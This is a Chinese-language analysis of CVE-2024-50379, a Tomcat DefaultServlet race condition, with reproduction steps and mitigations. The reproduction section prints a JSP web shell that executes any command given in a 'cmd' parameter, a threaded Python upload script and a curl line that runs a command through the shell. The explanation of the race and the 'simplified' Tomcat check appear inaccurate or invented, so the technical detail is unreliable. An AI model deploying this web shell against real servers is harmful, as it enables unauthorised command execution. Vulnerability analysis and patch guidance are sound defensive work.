Tomcat DefaultServlet 远程代码执行漏洞(CVE-2024-50379)分析
漏洞概述
CVE-2024-50379 是 Apache Tomcat 中存在的一个远程代码执行漏洞。当 Tomcat 运行在大小写不敏感的文件系统(如 Windows、macOS 默认配置)上,且 DefaultServlet 的 readonly 初始化参数被设置为 false(允许写入)时,攻击者可通过精心构造的并发请求利用条件竞争(Race Condition),绕过 Tomcat 的大小写敏感性检查,将恶意 JSP 文件上传至 Web 目录,从而触发远程代码执行。
Note
- 影响版本:
- Apache Tomcat 9.0.0.M1 ~ 9.0.97
- Apache Tomcat 10.1.0-M1 ~ 10.1.33
- Apache Tomcat 11.0.0-M1 ~ 11.0.1
- 触发条件:大小写不敏感文件系统 +
readonly=false - 风险等级:🔴 严重(RCE)
漏洞原理
背景:DefaultServlet 的 readonly 参数
Tomcat 的 DefaultServlet 默认以只读模式服务静态资源。通过配置初始化参数 readonly=false,可以允许客户端通过 HTTP PUT 方法上传文件到 Web 应用目录。这一功能在某些开发或部署场景中可能被启用。
大小写敏感性与竞态条件
在大小写敏感的文件系统(如 Linux ext4)上,File.java 和 file.java 是两个不同的文件,操作系统会区分它们。Tomcat 利用这一特性进行安全检查:当收到 PUT 请求时,会检查目标路径是否已存在同名文件,若存在则拒绝写入,防止覆盖已有文件。
但在大小写不敏感的文件系统上,File.java 和 file.java 指向同一个物理文件。攻击者正是利用这一点构造竞态条件:
- 步骤一:发起请求上传
file.jsp(小写) - 步骤二:在 Tomcat 检查文件名大小写之前,快速发起另一个请求上传
File.jsp(首字母大写) - 结果:由于文件系统不区分大小写,两个请求实际上操作的是同一个文件。Tomcat 的大小写检查在并发下失效,恶意 JSP 文件被成功写入,随后通过访问该 JSP 文件触发远程代码执行。
技术细节
Tomcat 在 DefaultServlet 处理 PUT 请求时,会调用 store() 方法写入文件。其安全检查逻辑大致如下:
// 简化逻辑protected boolean store(String uri, InputStream inputStream) { File file = fileForUri(uri); // 检查文件是否已存在(大小写敏感比较) if (file.exists()) { // 大小写敏感文件系统下,检查是否存在不同大小写的同名文件 if (!uri.equals(file.getName())) { throw new IllegalArgumentException( "Cannot store file with different case: " + uri); } } // 写入文件 // ...}在大小写不敏感文件系统上,file.exists() 和大小写比较都无法阻止并发写入,因为 file.jsp 和 File.jsp 指向同一个物理文件,竞态窗口使得检查逻辑失效。
漏洞复现
Warning
以下复现步骤仅在受控环境中进行,切勿在未经授权的生产系统上测试。
前置条件
- Apache Tomcat 受影响版本(9.0.x 9.0.97、10.1.x 10.1.33、11.0.x ~ 11.0.1)
- 运行在大小写不敏感的文件系统上(Windows 或 macOS 默认 APFS/HFS+)
conf/web.xml或context.xml中 DefaultServlet 的readonly参数已设置为false
步骤一:确认配置
编辑 Tomcat 配置文件,确保 DefaultServlet 启用了写入功能:
<!-- conf/web.xml 或 webapp/WEB-INF/web.xml --><servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>debug</param-name> <param-value>0</param-value> </init-param> <init-param> <param-name>listings</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> <!-- 允许 PUT 上传 --> </init-param> <load-on-startup>1</load-on-startup></servlet>步骤二:启动 Tomcat
启动 Tomcat 服务并确认 DefaultServlet 已生效:
# Linux/macOS$TOMCAT_HOME/bin/startup.sh# Windows%TOMCAT_HOME%\bin\startup.bat访问 http://localhost:8080/ 确认 Tomcat 正常响应。
步骤三:构造恶意 JSP 文件
创建一个包含恶意代码的 JSP 文件(仅用于测试环境):
<!-- poc.jsp --><%@ page import="java.io.*" %><% String cmd = request.getParameter("cmd"); if (cmd != null) { Process p = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader( new InputStreamReader(p.getInputStream())); String line; while ((line = reader.readLine()) != null) { out.println(line); } }%>步骤四:利用竞态条件上传
使用以下 Python 脚本利用竞态条件上传恶意 JSP 文件:
import requestsimport threadingimport timetarget = "http://localhost:8080/"shell_name = "file.jsp"def upload_file(): """并发上传 file.jsp 和 File.jsp""" data = open("poc.jsp", "rb").read() r1 = requests.put(f"{target}{shell_name}", data=data) r2 = requests.put(f"{target}{shell_name.upper()[:1]}{shell_name[1:]}", data=data) return r1.status_code, r2.status_code# 并发发起请求threads = []for _ in range(50): t = threading.Thread(target=upload_file) threads.append(t) t.start()for t in threads: t.join()# 验证是否上传成功r = requests.get(f"{target}{shell_name}")print(f"Status: {r.status_code}")print(f"Response: {r.text[:200]}")Tip
由于竞态条件的窗口很小,可能需要多次尝试或增加并发数量才能成功。
步骤五:验证远程代码执行
上传成功后,通过访问 JSP 文件并传递 cmd 参数执行系统命令:
curl "http://localhost:8080/file.jsp?cmd=id"若返回当前用户信息,则说明 RCE 成功。
修复方案
永久修复:升级 Tomcat 版本
升级到以下修复版本:
| 分支 | 最低安全版本 |
|---|---|
| 9.0.x | ≥ 9.0.98 |
| 10.1.x | ≥ 10.1.34 |
| 11.0.x | ≥ 11.0.2 |
修复版本中,Tomcat 改进了 DefaultServlet 的文件写入检查逻辑,在大小写不敏感文件系统上也能正确防止竞态条件攻击。
# Maven 依赖更新示例<dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>9.0.98</version></dependency>临时缓解措施
如果暂时无法升级,可采取以下缓解措施:
保持 readonly=true(默认值)
确保 DefaultServlet 的
readonly参数为true(默认值),禁止通过 HTTP PUT 上传文件:<init-param> <param-name>readonly</param-name> <param-value>true</param-value></init-param>移除或禁用 DefaultServlet
如果不需要通过 DefaultServlet 服务静态资源,可以从配置中移除该 servlet:
<!-- 注释或删除 default servlet 配置 -->使用防火墙限制 PUT 方法
在 Web 服务器或反向代理层(如 Nginx、Apache HTTP Server)阻止对 Tomcat 的 PUT 请求:
# Nginx 配置示例location / { limit_except GET HEAD POST { deny all; } proxy_pass http://tomcat_backend;}使用大小写敏感的文件系统
将 Tomcat 部署到 Linux 等大小写敏感的文件系统上,从根本上消除漏洞触发条件。
影响范围
| 组件 | 版本范围 | 状态 |
|---|---|---|
| Apache Tomcat 9.0.x | 9.0.0.M1 ~ 9.0.97 | 受影响 |
| Apache Tomcat 10.1.x | 10.1.0-M1 ~ 10.1.33 | 受影响 |
| Apache Tomcat 11.0.x | 11.0.0-M1 ~ 11.0.1 | 受影响 |
| Apache Tomcat 9.0.x | ≥ 9.0.98 | 已修复 |
| Apache Tomcat 10.1.x | ≥ 10.1.34 | 已修复 |
| Apache Tomcat 11.0.x | ≥ 11.0.2 | 已修复 |